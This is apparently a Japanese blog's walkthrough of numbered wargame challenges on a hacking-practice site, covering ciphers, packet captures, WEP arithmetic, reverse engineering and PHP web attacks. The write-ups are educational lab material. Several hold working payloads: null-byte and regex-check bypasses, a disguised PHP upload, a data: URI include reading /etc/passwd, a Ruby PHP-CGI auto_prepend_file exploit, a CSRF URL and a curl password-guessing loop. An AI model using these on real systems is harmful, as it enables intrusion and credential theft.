                   0xcd, 0xcd, 0x93, 0xdc, 0xd1, 0xd8, 0xcf, 0xc9,
                   0x95, 0x9f, 0xfb, 0xd4, 0xd3, 0xd9, 0x9d, 0xc9,
                   0xd5, 0xd8, 0x9d, 0xcd, 0xdc, 0xce, 0xce, 0xca,
                   0xd2, 0xcf, 0xd9, 0x9c, 0x9f, 0x94, 0x86, 0xb7
                   };

    int i;

    for(i=0; i< (sizeof(code)/sizeof(int)); i++)
    {
        printf("%c",(code[i]^189)  );   
    }
    return 0;
}

こんなプログラムをかけば

パスワードが復元できます。

Take37

この問題は苦労して正体がわかるまで右往左往しましした。
結論から言えば 上杉謙信の軍師 宇佐美定行 が考案したとされる
上杉暗号 字変四八の奥義 と呼ばれる暗号です。

この暗号では
縦横7文字ずつの暗号キーを用意します。
数字、または和歌の下の句 七七 を使うことができます。

今回は
一枚目の画像にかいてある
 もののふの鎧の袖をかたしきて
がヒントでこの上の句に続くのは
枕にちかき初雁のこゑ
となるようです。
暗号キーがわかったら


きかちにらくま | 
-----------------------
ゑあやらよちい | は
ひさまむたりろ | つ
もきけうれぬは | か
せゆふゐそるに | り
すめこのつをほ | の
んみえおねわへ | こ
 してくなかと | え

このような表が作れます。
暗号化するときはこの表から目的の文字を見つけ
その上と右の文字と置き換えてきます。
例えば
 い なら まは
 り なら くつ
といった具合です。

とすると復号する方法も簡単です。
文章を2文字ずつ区切って
それをx,y座標のように使って表から元の文字を
見つけることができます。

2枚目の画像より

くこらかにのちかかゑきこにのらゑくのきかにかきり
→くこ,らか,にの,ちか,かゑ,きこ,にの,らゑ,くの,きか,にか,きり
→わ,れ,の,け,し,ん,の,な,を,も,う,せ
→我の化身の名を申せ

と順次変換できます。

上杉謙信は毘沙門天の化身ですからこれが答えです。

Take38

PHPの処理系はC言語で実装されているので、
PHPで使われる関数の一部では中身でCの関数を使っています。
そのため一部C言語の仕様に影響を受けてしまいます。

例えば %0(NUL文字)はC言語では文字列の末尾を表しので
PHPでも途中に %00 が含まれる文字列を扱おうとすると
予期せぬ動作をする場合があります。
こういったC言語レベル、バイナリデータレベルの問題が正しく
処理できるようになっていないものを
 バイナリセーフでない関数
とよび、PHPではこういった関数が結構あります。

sample.php は存在し、正しく表示できる
take38_answer.php は存在するが、表示できない
test.php は存在せず、表示できない

とすれば take38_answer.php は何らかの文字列検査が行われ
それに引っかかってしまったため表示を禁止されているようです。
よって

このように文字列の末尾に %00 を加えることでその検査をパスし
中身を閲覧できました。
ただし、実際にどのような検査をしているかは不明なので
具体的な考察はできません。

Take39

HTTPヘッダを改ざんしてファイルタイプチェックを回避する問題です。
PHPで画像のアップローダーなど書いたことがあればピンとくると
思いますが、アップロードされたファイルの mime_type を調べて
ファイルの種類を特定して処理の続きを分岐するのはよく見られる
コードです。

しかし、 mime_type は基本的にテキストデータをやり取りする
ように発達した通信においてテキストデータ以外のデータを
やり取りするときの助けに送られているもので、
その内容の保証はかなりゆるいです。

この問題では画像しかアップできないようなアップローダーを
想定していますが、 そのチェックには mime_typeのチェック
しか行っていないため mime_type を偽装すれば問題なく
attack.php をサーバー側に保存できます。

そういったサーバーは当然アップした画像が見えるように
なっていますが、同じようにアップしたphpを開くとその内部の
コードが実行できてしまいます。
WEBサーバーは基本的に高い権限で動作していますので、
そうなると攻撃者はかなり高い権限のコマンドが使え
バックドアプログラムの実行などを許してしまいます。

具体的な突破方法は

  • FireFoxのLiveヘッダー書き換えアドオンを使用して書き換え
  • Fidderで書き換え
  • curlコマンドで頑張る
  • プログラムを自作する

などが考えられます。
今回はFirefoxのアドオンを採用しました。

これで突破できました。

Take40

パケット解析の問題です。

まずは渡された cap ファイルを wireshark に投げます。

するとどうやら zipファイルのやり取りをしているようなので
早速摘出しました。
しかし、いざ解答しようと思うとzipにパスワードがかかっており
解除しようかとも思いましたが、AES 256の強力な暗号が
かけてあるためブルートフォースアタックは厳しそうです。

となれば、もう一度 ネットワークキャプチャデータに立ち返り
ヒントがないかを探します。

まずいくつも ICMP 通信 つまり ping が実行されている
形跡があり、 この ICMP シーケンスナンバーが 8946
になっています。 これは怪しいので よくよく見てみると
ping
レスポンス無/有 の時

data = 00:00:00:6b:30:15:9d:bd:4b:ed:55:0f:16:21:31:ae:3f:1e:ed
or
data = 00:00:00:f5:51:b7:05:be:71:52:9a:f6:ac:a0:98:a3:d6:db:b5

が決まって送られてきているようです。
これを検索にかけると

= md5("password=garigari")
= md5("password=dezidezi")

でした。
2つのパスワードを試したところ
 dezidezi のほうが通って
テキストファイルが手に入りました。

100Mビット/秒の伝送速度のLANを使用して、8.946Gバイトのファイルを転送するのに必要な時間はおおよそ何秒か。
また、LANの伝送効率は20%とする。四捨五入した回答がパスワードである。

ということなので
この辺 で適当に計算してもらって
 ※データ、回線速度ともに 1K = 1024 のチェックが必要

3664が答えとなります。

普通なら絶対にわからないでしょうが
状況からいって ICMP 部分しかなかったので信念で調べたら正解にたどり着けました。

Take41

ソフトウェアのリバースエンジニアリングを行う問題です。

Windows向けバイナリなので
OllyDbg を wineで実行します。

とりあえず dataに "Find the password!" があるので
これを取り扱っているあたりを中心に調査します。
周囲にブレークポイントを設置してひとまず走らせてみると

見えてしまっています。
深く処理を追わなくても 近くのアドレスにパスワードの
文字列が記録されていました。

わざわざ苦行はしたくないのでこれで終わりでいいでしょう。

Take42

見たまんまのブラウザのUA偽装を行えばそれで終了です。
ブラウザにUAを切り替えられるアドオンを入れるか
いつもの Take07 流用で

    r=http.post(
        uri.path,
        {
            'Referer'=>uri.to_s,
            'User-Agent'=>'8946',
            'Cookie'=>'PHPSESSID=(ブラウザからセッションIDを持ってくる)',
        }
    )

これでもクリア判定です。

Take43

PHPのallow_url_includeに関する脆弱性を使った問題です。
ページのソースをみると

action="/hack/take43.php?file=take43.html"

take43.html という
ファイルが指定されており、実際にひらけます。
どうやら。 take43.php は take43.html を include するようになっている
ようです。

少し調べた結果
つまりこの環境では allow_url_include が有効になっており、
 ここを参考に任意のPHPスクリプトを
実行できるということでした。

今回はパスワードを見つけろ ということなので
 passwd passwd.inc /etc/passwd
などいつも使われているような文字列で試したところ /etc/passwd 無事正解の判定がもらえました。

具体的には例のごとく firefox のインスペクタからの書き換えだけでOKです。

take43.php?file=data:text/plain,<?php file_get_contents('/etc/passwd');?>

になるようにすればOKです。

Take44

PHPの危険な設定に関する問題
PHPにおいて
register_globals = On
に設定していると
POSTやGETされた変数がそのまま${変数} でアクセス可能になります。

よって
POST input_id=hiroumauma&pass=hiroumauma&success=1

すると掲載されているコードの $success == 1 となって認証を
突破できます。

方法はいつもの Take07 のコードを使っても良いですし
FireBug 、 Fidder どの方法でもOKです。

こんな感じでFirefoxのデバッグ機能で強引にフォームを追加して id success を送信することも
できます。
success = 1 とすればログイン成功です。

Take45

もはや懐かしいワードとなった無線のWEPキー解読に関する問題ですが
あまり楽しい問題ではありません。

通常WEPでは IVとWEPキーをくっつけて これに RC4というシンプルな
アルゴリズムで暗号化を行いますが、まずはそれを行っていないそうです。

まぁどちらにせよそこそこの量のパケットデータがあるので
難しいことは考えずに aircrack-ng に投げ込めば

OK、無事終了 と思って 入手したWEPキーを送信すると
 なぜか突破になりません。

なんと、いま解読したWEPキーは確かにキャプチャしたデータの
WEPキーなのですが…それは答えではないそうです。

手に入れたWEPキーで キャプチャデータを複号して
通信内容を確認します。 これには Wireshrkが使えます。

Edit > Preference > Protocols > IEEE802.11
から手に入れたWEPキーを登録しておき

capデータを読みこませると…

passwordWEP.txt

というデータをやりとりしています。
これを開くと

解読おめでとう
実際にWEPではIVとWEPキーを足してストリーム暗号化を行った物をキーストリームにしている。
これを解いた諸君らにパスワード問題を授けよう

●ストリーム暗号は使用していない。
●キーもIVもASCII文字である。
●WEPキーは5文字である。
IV=123 の時に得られた暗号文はそれぞれ
7073720900020A1B

797A7B00090B0312

7271700B02000819

66776323243A0411

この4つの文である
この時のWEPキーがパスワードとなっている。

この通信に当たってAとBの重要な会話を手に入れたので参考にしてほしい

A「例の暗号文を送ってくれたかね?」
B「はい、ちゃんと意味のない連続した同一のアルファベットを先に送ってから暗号文を送りました」
A「ご苦労」

こんなことが書いてありました。
そうです。Take45の答えは aircrack-ng で解析した cap データの
WEPキーではなく、このテキストに書いてある
WEPと同じ手順で作ってある暗号の鍵を計算したものでした…えぇ…

本来
WEPが平文を暗号化する仕組みは

まず平文の送りたいメッセージをM として
メッセージの破損をチェックするために
CRC32を計算して末尾につけます。
P = { M + CRC32(M) }
これが基本の平文Pです。

次に平文Pを暗号化します。
暗号には
24bitのIV と 40or104bitのWEPキーを連結
したものを 種の値Sとして利用します
S = { IV + WEP }
これを RC4ストリーム暗号で暗号化したものを
使います。これを RC4(S) とします。

以上により暗号文Cは
C = { IV + ( P xor RC4(S) )}

このように完成します。
このCが無線にのって送信されるわけです。

はてさて今回は
まずRC4やCRCは使っおらず
IVを付与しない素の暗号文が乗っているので

C = {   + { P xor C }}
  = {   + { M xor (IV+WEP)}}
 = { M xor (IV+WEP)}

を計算すればいいわけです。

例えば WEPキーを仮に abcde として

※シングルクオートがASCII表示
※ダブルクオートがHEX表示

C = { M xor ('123'+'abcde')}
  = { M xor '123abcde'}

C = "7073720900020A1B"
を採用すると

"7073720900020A1B" = M xor "3132336162636465"
M = "7073720900020A1B" xor "3132336162636465"
  = "4141416862616e7e"

となります。
ここでヒントが生きてきます。
今、適当なWEPキー abcde で計算を行ったので
M = "4141416862616e7e" = 'AAAhban~'
となっています。
しかし、RC4を使っていないので 正しいWEPキーを使った時と
同じ形になっている部分があります。正しいIVを使っている
先頭3バイト分です。
つまり M = 'AAA_____' は正しいことがわかっています。

ここで

意味のない連続した同一のアルファベット

ということなので
M = 'AAAAAAAA' とわかります。

Mがわかれば

(IV+WEP) = C xor M
         = "7073720900020A1B" xor "4141414141414141"
         = "3132334841434B5A"
         = ' 1 2 3 H A C K Z'

と計算できるので
WEPキーは HACKZ ともとまります。
同様に他の3つの文でも同じ値が求まると思います。

以上で突破です。
計算自体は面白いですが、配布されたキャプチャデータの解析が
ゴールだと思っていたので後半のパズルは釈然としないところが
ありますね(笑

Take46

素直に要求を理解すると

(substr(md5($ans),0,10)=="0")

この評価をtrueにすればいいようです。
方法は

  • 素直にmd5をかけると先頭10文字が0となるような元の値を見つける
  • md5にエラーを起こさせて false == false の形に持ち込む

ということが考えられます。
まず素直な手順としては
Take04 と同じようにインターネットのちからを利用して

ー終了

これではあんまりなので md5 を攻撃する方法も考えます。
md5 php error で検索したところ

このような 質問がありました。

stringでなく array を入れると md5 は困るようです。

例の如くFirefoxのインスペクタで input_id となっているところを
input_id[0] とします。 これで PHP からは input_id が配列に見えるはずです。

配列を md5にかけようとすると error となるため
評価は (false == false) つまり true となって認証を突破できました。

解答でもこちらを正解としていました。

他にも解き方があります。
PHPは動的型付け言語なのできっちりと 0 でなくても
例えば
0 や 00 や 0.00 や 0e523(0の523乗) などはすべて
== 0 になります。

よって 先頭がすべて 0 なものを探す必要はなく
MD5をかけて
 0e{1〜Fで8文字}
となるような文字さえ探せば良いわけです。

となると一気に条件がゆるくなるので
短時間の検索が現実的になってきます。
実際

 MD5(wvc) =  0e57760807081053face17bb9d7bca5a
 MD5(HBL) = 0e1327123200d8fa7553371b88741363

は一瞬で見つかります。

試しに HBL をしれっと入力すると問題なくログインできました。

Take47

ドメイン情報を調べましょう という課題です。
WHOIS
を見ればいいはずです。

ここで hackerschool.jp を検索すると

[有効期限] 2016/07/31

と表示されるので早速入力すると…なぜか失敗します。
どうやら問題を作ったあとでドメインの更新を行ったため
現在の最新と答えが違うみたいです。(残されたメモによる)

2014/07/31 とするとクリアです。

(いつか修正されるかもしれません)

Take48

まずはじめに目につくのはURLに末尾の謎の文字列だと思います。
とりあえず この文字列を削除すると

まさかのタイトルの一部が消えました。
やはりこの文字列には意味があるようです。

試しにこの文字列を Base64でデコードしてみると

"48" が登場しました。

また、適当な文字列を与えると

Syntax error …!
どうやらこの文字列は何らかの処理が行われたあと eval() に渡されている
ようです。

となると
uwnsy 48;
とは
print 48;

を意味するはずです。

テキストエディタで並べるとすぐに
-5文字のシーザー暗号ということがわかりますので

print get_pass();

uqnsy ljy_ufxx();
になおして
Base64でエンコード

得られた文字列
dXduc3kgbGp5X3VmeHgoKTs= を用いると

パスワードの内容が タイトル部分にprint されます。
これでクリアです。

Take49

ideone.com で以下のコードを実行すると

$arr = array(
    'a','b','c','d','e','f',
    'g','h','i','j','k','l',
    'm','n','o','p','q','r',
    's','t','u','v','w','x',
    'y','z'

);

$count = count($arr)-1;

for ($a=0;$a<=$count;$a++) {
    for ($b=0;$b<=$count;$b++) {
               if (crypt('tanaka'.$arr[$a].$arr[$b].'' , '89') === '89B1pK00C26w6' ){
                    exit('tanaka'.$arr[$a].$arr[$b].'' );
                }
        }
    }

tanakapw という文字列が得られますが
tanakapw だとダメだと言われます。
crypt()使用しているDESハッシュ関数は渡された文字列の
先頭8文字しか使用しませんので tanakapw 以降何をつけても
ハッシュ値は変化しません。
お好きな文字列を追加すればクリアです。

Take50

セッションIDを推測する問題です。
推測しろというぐらいですからそんなに難しいことはないので
空気を読む力が重要です。

まず表示されている過去のID 3つは
32桁で揃っているようなので
md5 などハッシュ関数を通してある可能性が高いです。

例によって md5 のコードを検索にかけると

d087b2a758e31b8e026425ab68ec6522 -> "MTgw"
45dedbe49c95fce54c4561bbf240f4e1 -> "Mjgw"
1974dc043923c87497e040acd0a23d38 -> "Mzgw"

とわかります。MXgw の似たような形になったのでやはりmd5 で良かったようです。
2文字目がわかれば行きそうですがこの3つから特定できそうにはありません。
しかし最悪わからなければ 2文字目 アルファベット 26 x 2 = 52 個分
入れ替えて全通り検索もできる範囲にはなっています。

結局のところ Base64 がかかっていました。

MTgw -> Base64(180)
Mjgw -> Base64(280)
Mzgw -> Base64(380)

これで完全に推測可能になりました。
セッションIDを生成するための元ネタは
180 -> 280 -> 380
と増えていっています。

ということで次の通信には 480 が使われるであろうと
予測できます。

md5(Mase64(480))
=md5("NDgw")
=5dc50099e1e7a42f60169d68daeb4025

これで推測IDが生成できました。

FireBugでCookieに推測IDを記録した状態で
ページを開くと無事認証されました。

Take51

指定のページを開くと
フランス語で アク禁だからパスワード教えないよ
と出ます。
どうやら国外からのアクセスを遮断しているようですので
フランスのプロキシサーバを経由すれば開くことができます。

Take52

この問題は悪名高い昔のCGI版PHPの脆弱性を利用した問題です。
CGI版PHPではクエリ文字列に = を含まない場合
その文字列をコマンド引数として扱います。
例えば
/index.cgi?arg1+arg2
はコマンドラインで
./index.cgi arg1 arg2
と実行したのと同じになります。

とすると
/index.php?-s

./index.php -s
を実行したことになり
コマンドプション -s ソースを表示
が有効になり
プログラムの中身が丸見えになってしまいます。

$id = $_POST["id"];
$pass = $_POST["pass"];

$err_msg = "";
if(isset($_POST)){
    if( !$id or !$pass ){
        $err_msg = "<font color='pink'>※エラー!IDもしくはパスワードが違います</font><br>";
    }else{
        include_once './pass.inc';
        if($id==$default_id AND $pass==$default_pass){
            /*
             * ログイン成功処理・・・
             * この$default_idと$default_passが
             * Take#52のIDとパスワードです
             *
             * ヒント:
             * Take52の問題ページに戻ってで10回以上間違えると・・・。
             *
             */
        }else{
            $err_msg = "<font color='pink'>※エラー!IDもしくはパスワードが違います</font><br>";
        }
    }
}

これでログイン処理が見れます。
pass.inc のなかにidとパスワードが書かれており
それと一致すればログイン成功となるようです。
この問題では このような脆弱性が成功した"風"ということなので
その後のログイン処理は省略されていますね。

さて、攻撃対象がわかったのでなんとかして pass.inc を中身を
見たいのですが、外部からこのファイルにはアクセスできないように
なっています。

そのためなんとか index.php を誤作動させて
サーバー側から pass.inc を表示して貰わないといけません。

まず
-s オプションと同じようにして -d オプションを実行すると
ディレクティブの変更ができます。
ざっくり言ってしまえば php.ini が書き換えることができるような
ものです。
以下の設定を変更します

allow_url_include=On
auto_prepend_file=php://input

1つ目の設定は PHPの include 命令において URL形式で外部のデータを
指定することを許可する という設定
もうひとつは auto_prepend_file の設定で
これは 実行する本丸のPHPコードを実行する前に指定したコードを
自動で先に実行してくれる機能で
スクリプトを変更せずにパラメータなどを調整したいときなどに
使えたりしますが…指定するファイルが問題です。
php:// は入出力ストリームへのアクセスを提供しており

php://input は POST されたデータを示しています。
つまり
auto_prepend_file=php://input

POSTされた文字列をPHPのスクリプトとしてまず実行せよ
というかなり恐ろしい命令になります。
POSTにpayloadがまるまる記述できます。

ここまでを踏まえれば

 -d allow_url_include=On
 -d auto_prepend_file=php://input
<?php file_get_contents('./pass.inc'); ?>

を送信すればいいとわかります。

#!/usr/bin/ruby
require 'net/http'
uri=URI.parse('http://whitecafe.moe.hm/take52_sub/index.php')
option='?-dallow_url_include=On-dauto_prepend_file=php://input'
payload="<?php file_get_contents('./pass.inc'); ?>"

http=Net::HTTP.new(uri.host)
http.start{
    resp=http.post( uri.path+option, payload )
    puts resp.body
}

これでクリアです。

参考

この攻撃が通ると
payload には好きなPHPコードをかけるので
system() でOSのコマンドを呼び出しバックドアプログラム
などを敷設することができます。
もちろん今回の環境はあくまで攻撃が通った風なので
system()などは呼び出せません。

Take53

パケット解析とソーシャルハッキングに関する問題です。
メールの通信をパケットキャプチャした pcap データと
パスワード付きzip が渡されます。

まずは仮想PCで飼っている kali Linuxを起動して
Wireshark を立ち上げ、 pcap の中身を見ると

メールの中身が見れます。 エンコードが ISO-2022-JP と
なっているので UTF-8のようです。

gnome-terminalはUTF8で動いているので
こんな感じに直接吐けば日本語として読めます。

し → shi

とのことです。
ここまでは順調でしたが、ここでちょっと行き詰まりました。

10 10 10 10 10
01 10 00 01 11
10 01 00 00 01

パスワード本体であろう
この部分の意味がわかりません。

ここのヒントはないものかと検索しても
全然見つからず、ちょっとカンニングしてやろうと
キャプチャしたパケットなどをそのまま検索に
かけるまどズルしようとしたところ謎が溶けました。

Bくんこと Braille には "点字" という意味があるそうです。
※点字の発明者 ルイ・ブライユにちなんでいるようです。

●○ ●○ ●○ ●○ ●○
○● ●○ ○○ ○● ●●
●○ ○● ○○ ○○ ○●
た  き あ  ら  し

これを し->shi にすればいいので
zipのパスワードは "takiaradhi" とわかりました。

これでzipから2つの画像が展開できました。

1つはメモを撮影したもの
もう1つは 地元の画像
です。

メモには

  • Bくんの地元の卵のおいしい鳥
  • 漢字とカタカナ

という情報が書いてあり
地元の画像のEXIF情報から 写真が高知県でとらえたことがわかります。

以上
 高知 卵おいしい 鳥
でそのまま検索すると
 土佐ジロー
がヒットしました。

問題のメモ欄にどなたかが残してあった

次男じゃなくて次郎では 

というメモの意味もこれでわかりました。

Take54

あからさまなCSRF攻撃の問題です。
会員情報のページで
名前欄にカタカナ以外を使うなど所定の形以外の入力をすると
エラーページに転送されるときに
必要情報が全部URLに含まれています。

このURLをログインした状態の被害者さんがクリックしてしまうと
意図せずパスワード変更の要求が発行されてしまいます。

http://whitecafe.moe.hm/take54_sub/member_update.php?name_sei=黒田&name_mei=発火&name_kana_sei=ブラック&name_kana_mei=ハッカー&zip01=812&zip02=0011&pref=修羅県&addr=修羅市博多区博多駅前3-12-21&password=hack&submit=hack'})

などを送信し

1234
hack

でログインできました。
どうも password でなく submit の内容がpasswordといて設定されるようです。

一覧に表示されていなかったバッファローマンの画像が拝めたら終了です。

Take55

IDリストが流出したことを想定して
弱いパスワードを使っているユーザーがいないか検査する問題です。

パスワードを password や pass にしてる人がいないか
調べましたがヒットせず、最終的に 所謂 joe パスワード
つまり IDとパスワードが同一のものが見つかりました。

かなりの件数があるので、何らかの自動化を行う必要があります。
今回はシェルスクリプトを使います。
配布されているIDリストを保存しておいて

#!/bin/sh

URL=http://www.hackerschool.jp/hack/take55_attack.php

for id in $(cat $1)
do
    echo ${id}
    curl -F "id=${id}" -F "pass=${id}" ${URL} > tmp
    test=$(grep -e Error tmp)

    if [ -z "${test}" ]; then
         cat tmp
         exit
    fi

done

通信関連を curl に丸投げできるので行数もかからずお手軽かと思います。
レスポンスの中に Error の文字があればリトライ
なければレスポンスを表示して終了するだけです。

Take56

正規表現で入力値がチェックされているフォームに
SQLインジェクションなどの攻撃をするために
入力制限を突破することを想定した問題です。

Q1.
電話番号の形式の文字列があるかどうかだけ調べていますので
その形式は守っれば前後に何か文字がついていても怒られません

111-111-1111'

などが通ります。

Q2.
Q1に電話番号の形が文字の先頭から末尾にかけて守られる
ようになっています。
しかし、チェック用の関数が バイナリセーフでない
ereg を使っているので所謂 ヌルバイトインジェクションが
有効です。 %00 をつけるとそこを文字の末尾と認識して
探索をやめてもらえます。

ただし、通常フォームからの送信に %00 は使えません。
Fidderなどで通信時に一旦せき止めて改ざんする必要があります。
今回はそのあたりは甘くしてあります。

222-222-2222%00'

などが通ります。

Q3.
さらに面倒なチェックを行っています。
まず (文字列)-(文字列)-(文字列) を切り分けて
各文字列が空であったり数字でなかったりすると
ダメです。
さらにバイナリセーフな preg_match を使っているので
ヌルバイトも効きません。

ここで最後に使えるのが "改行コード" です。
改行コードを入れておけば文字列の終わりと認識され
ヌルバイトと同じように以降の部分をチェックを通り抜けます。

CRLF(%0d%0a) もしくは LF(%0a) を挿入すればOKです。

ちなみに preg_match(/hogehoge/s) と シングルラインモード
のSをつけると 改行コードも文字列の一部とみなすように
なるので使えなくなります。

333-3333-3333%0a'

などが通ります。

Q4.
Q1〜Q3でありがちな回避テクニックは使いきました。
ここではちょっとレアな バックトラック上限回数突破方
を使います。

仕組みはこうです。
hoge'hoge
という文字列を送ると
まず
/.*'.*/
この赤い部分が
hoge'hoge
全体にマッチします。
このあと
hoge'hog__e (´・ω・`)
hoge'ho__ge (´・ω・`)
hoge'h__oge (´・ω・`)
hoge '__hoge ( ゚д゚)!!!
と1文字づつ戻って(バックトラック)
この段階で
(文字列) ' (文字列)
の形に認識を割り直す ということをします。

この手法は機械的で正確ではあるものの
場合によっては恐ろしく手数が増えてしまう場合があり
バックトラックする回数に制限が掛かっています。

よって、シングルクオートのあとに十分な長さの
文字列があればバックトラックの回数を超えて
チェックを諦めてくれることになります。

↑の例の場合 バックトラック回数を3階に制限すれば
hoge'h oge (´・ω・`)やーめた
ここでバックトラックをやめるので
hoge'hoge は (文字列)'(文字列) の形式になっていない
ただの文字列だよ という判定になります。

じゃあどのくらいの文字列が必要なのかというと
PHPの設定ファイルの pcre.backtrack_limit によります
デフォルトでは大抵 100000 回が設定されています。

つまり

hiroumauma'xxxx …10万回… xxxxx

などがマッチします。
この文字列は

$python -c "print 'hiroumauma\''+'X'*100000" > q4string.txt

などで生成すれば大丈夫です。

ちなみに、
今回は バックトラックリミットはたった 100に設定されているので
じつは手作業で x を 100個入れればまぁ通過できます。

Take57

Ajaxの通信を改ざんする問題です。
ページにある passwora などをクリックすると
なにやら javascript が動作し ajax で
take57_ajax.phpを呼び出しています。

ただし、肝心のjavascriptは難読化されており
内容はわかりません。
※スクリプトを日本の一行AAに変えてしまうというユニーク
 な難読化で有名なので実は解読可能
というか問題のメモにデコード可能なサイトのURLが
貼ってある

この際、クリックした passwora などの内容が
POST の file という変数に入るようになっており
レスポンスの内容(Dummy a)が画面に表示される仕組みに
なっているようです。

となればもちろん目標は file に password という文字を
与え、 Dummy a の代わりに 突破パスワードを教えてもらうことです。

Ajaxの通信を再現するためには本当は作法がありますが
まず passwora で一度送信したあと、Firefoxの通信再編集機能を使って
file = の末尾の文字コードを d = %64 に書き換えて
再送信すれば レスポンスとして パスワードが確認できます。

Take58

WindowsXPのことを させ子と呼ぶとしあきの皆様や
NTTのことを みかか と呼ぶ元テレホマンの先輩方
あるいはその時期のことを知っている層ならピンと来たと思います。
やはりセキュリティとなんの関係があるかは謎です。
一種のleetということにしましょうか…

日本語キーボードとしてよむと
もにんちきにみらのいみそくらなとくらつちにそくにてらもにのちのちくらなとくにのにしいる
→ miyaginokenchoushozaichiwomikakahoushikide.
(宮城の県庁所在をみかか方式で。)
となるので

仙台
→ sendai
→ といみしちに

ということで といみしちに が答えです。
すっきりしませんね…。

Take59

数字を見てピンとくるというのは大事かもしれません。
"タイトル" というワードで 978 という数字から始まる
となると 書籍のISBN番号 ですね。
ただし、ISBN番号は13桁のはずですが 与えられているのは
12桁の番号です。

ISBN番号のような長い番号でものを管理する場合
誤りを訂正するため 最後の1桁がチェック用であるものが良くあります。
ISBN番号の場合
12桁の各数字に x1 x3 x1 x3 と交互にかけてその和を求め
話の1の位の補数をチェックに使います。

  9  7  8  4  1  0  3  5  3  4  2  2
 x1  3  1  3  1  3  1  3  1  3  1  3
 ------------------------------------
  9  21 8 12  1  0  3 15  3 12  2  6

(9+21+ … + 2 + 6) = 92
10 - 2 = 8

と計算できるので 完全なISBN番号は
 9784103534228
となります。
ISBN 9784103534228 を検索すると
村上春樹の 1Q84 であることがわかります。

ちなみに最初 桁数に気づかず検索をかけても
村上春樹の名前がでました。
(ヒット数の少なさで桁が足りないことに気が付きました。)

Take60

動作中のソフトウェアのメモリ改変に関する問題です。
ゲームのチート作成などでは鉄板の手法です。

この問題はお題に.NETなプログラムが渡されるので
例外的にWindowsで作業します。
Windowsではメモリ改変といえば
 うさみみハリケーン
を使うのが鉄板です。

まず take60.exe を起動して
少し汚ない数値になるように何度かカウンタを回します。

それから うさみみハリケーンを起動し
take60.exe のプロセスを解析させます。

読み込みが終わったら検索機能から
その時のカウンターの数値を検索すると
メモリ上でカウンタの値が記録されているアドレス
がわかります。

あとは カウンタを 1999999999 に書き換えるため
該当アドレスに 0x773593FF を書き込めば終了です。
エンディアンを考慮して
0xFF 0x93 0x35 0x77
と順に入力していきます。

入力が終わったらもう一度 カウンタをクリックすることで
カウンタが 2000000000 になってクリアです。

Take61

単一換字式暗号に関する問題です。
課題の暗号文の他に資料用の文が渡された段階で
頻度分析かな? と疑いました。

ただし、暗号文を眺めてみると
aaa が大量に含まれています。
これは普通に文字を入れ替えてもおそらく出てきません。

よって、暗号文3文字1セットが平文1文字に対応している
ことが推察されます。
となればまず、暗号文の3文字セットを見つけなくてはいけません。

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    FILE *fp;
    char ch[3];
    char cl[26][3];
    int  cf[26];
    int  used;
    int  i,j,tmp;

    /* check list*/
    if( argc != 2 ) return -1;
    if( (fp = fopen(argv[1], "r")) == NULL ) return -1;

    /* init table */
    for(i=0; i<26; i++)
    {
        cf[i] = 0;
        cl[i][0] = cl[i][1] = cl[i][2] = 0;
    }

   /* counter */
   used = 0;
    while (( ch[0] = getc(fp)) != EOF ) {
        if( ch[0] >= 'a' && ch[0] <= 'z'){
                j=0;
                ch[1] = getc(fp);
                ch[2] = getc(fp);

                for(i=0; i<26; i++){
                    if(  (cl[i][0] == ch[0]) &&(cl[i][1] == ch[1]) &&(cl[i][2] == ch[2]) ){
                                cf[i]++;
                                j++;
                       }
                 }
               if(j==0){
                        cl[used][0] = ch[0];
                        cl[used][1] = ch[1];
                        cl[used][2] = ch[2];
                        cf[used]++;
                        used++;
                }

         }
    }
   fclose(fp);

   /* sort  */
   for(i=0; i<26; i++){
      for(j=26-1; j>i; j--){
          if(cf[j] > cf[j-1]){  
              tmp = cf[j];
              cf[j] = cf[j-1];
              cf[j-1] = tmp;

              ch[0] = cl[j][0];
              ch[1] = cl[j][1];
              ch[2] = cl[j][2];
              cl[j][0] = cl[j-1][0];
              cl[j][1] = cl[j-1][1];
              cl[j][2] = cl[j-1][2];
              cl[j-1][0] = ch[0];
              cl[j-1][1] = ch[1];
              cl[j-1][2] = ch[2];
          }
      }
  }

  /* show */
  for(i=0; i<(used); i++){
    printf("%2d:[%c%c%c]=>%d\n",i,cl[i][0],cl[i][1],cl[i][2],cf[i]);
  }

    return 0;
}

このCのコードで

資料文に含まれる3文字セット一覧とその頻度が調べられます。
全部で 26種類あり、アルファベットの数的にも間違いなさそうです。

まず aaa という並びについて、
これだけ少し異質です。まず出現頻度が高すぎるということ、
また資料文は英文には必要な単語と単語の間のスペースがわからないこと
から推察するに aaa は スペース ではないか ということは
予想されました。

次に、残りがどのアルファベットに対応するか
ですが、ひとまず、英文中のアルファベットの出現頻度
に関する資料をもとに

このような変換テーブルをひとまず作成し
文章を変換するプログラムを作りました。
これを実行すると、

一応元の英文の形はなんとなくわかるようになりました。
しかし、まだ全然読めません。
ここから

  • 2012 は年と推測して その直前は in かな
  • よく出てくる3文字は the かな
    などと推察しながらテーブルに修正を加えていきます。

そうしていると

一行目が読めました。

over the past decade, apple designer and enginner have …

これを検索すると

もとの文がヒットしました。
これで変換テーブルは一気に完成していきました。

さて、完成した(はずの)テーブルで本題のパスワードを解読しても
正解になりません。 というのは
本題のパスワードに使われている tdd はなんと資料文に一度も
出てきていません。

たしかに資料分には 26種類の3文字組があって、1つをスペースに
使っているので じつは割り当ててない文字が1つ残っています。
その残りとは q です。

というわけでさらにテーブルに tdd = q の対応を追加して、
晴れてテーブル完成です。

最終的な解読プログラムは

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    FILE *fp;
    char ch[3];
    int  used;
    int  i,j,tmp;

    char *table[][2] = {
        { "aaa" , " " },{ "soq" , "e" },{ "sow" , "a" }, 
        { "nhj" , "r" },{ "ntd" , "s" },{ "svs" , "t" }, 
        { "sef" , "n" },{ "btm" , "i" },{ "nhy" , "o" }, 
        { "bas" , "l" },{ "weo" , "d" },{ "bmg" , "c" },
        { "ngf" , "u" },{ "bdd" , "p" },{ "vsd" , "m" },
        { "rgb" , "h" },{ "mfl" , "g" },{ "btr" , "y" },
        { "tok" , "f" },{ "fjd" , "b" },{ "tth" , "w" },
        { "set" , "v" },{ "bbd" , "k" },{ "cmk" , "x" },
        { "zhy" , "z" },{ "btb" , "j" },
        { "tdd" , "q" } 
    };

    /* check list*/
    if( argc != 2 ) return -1;
    if( (fp = fopen(argv[1], "r")) == NULL ) return -1;

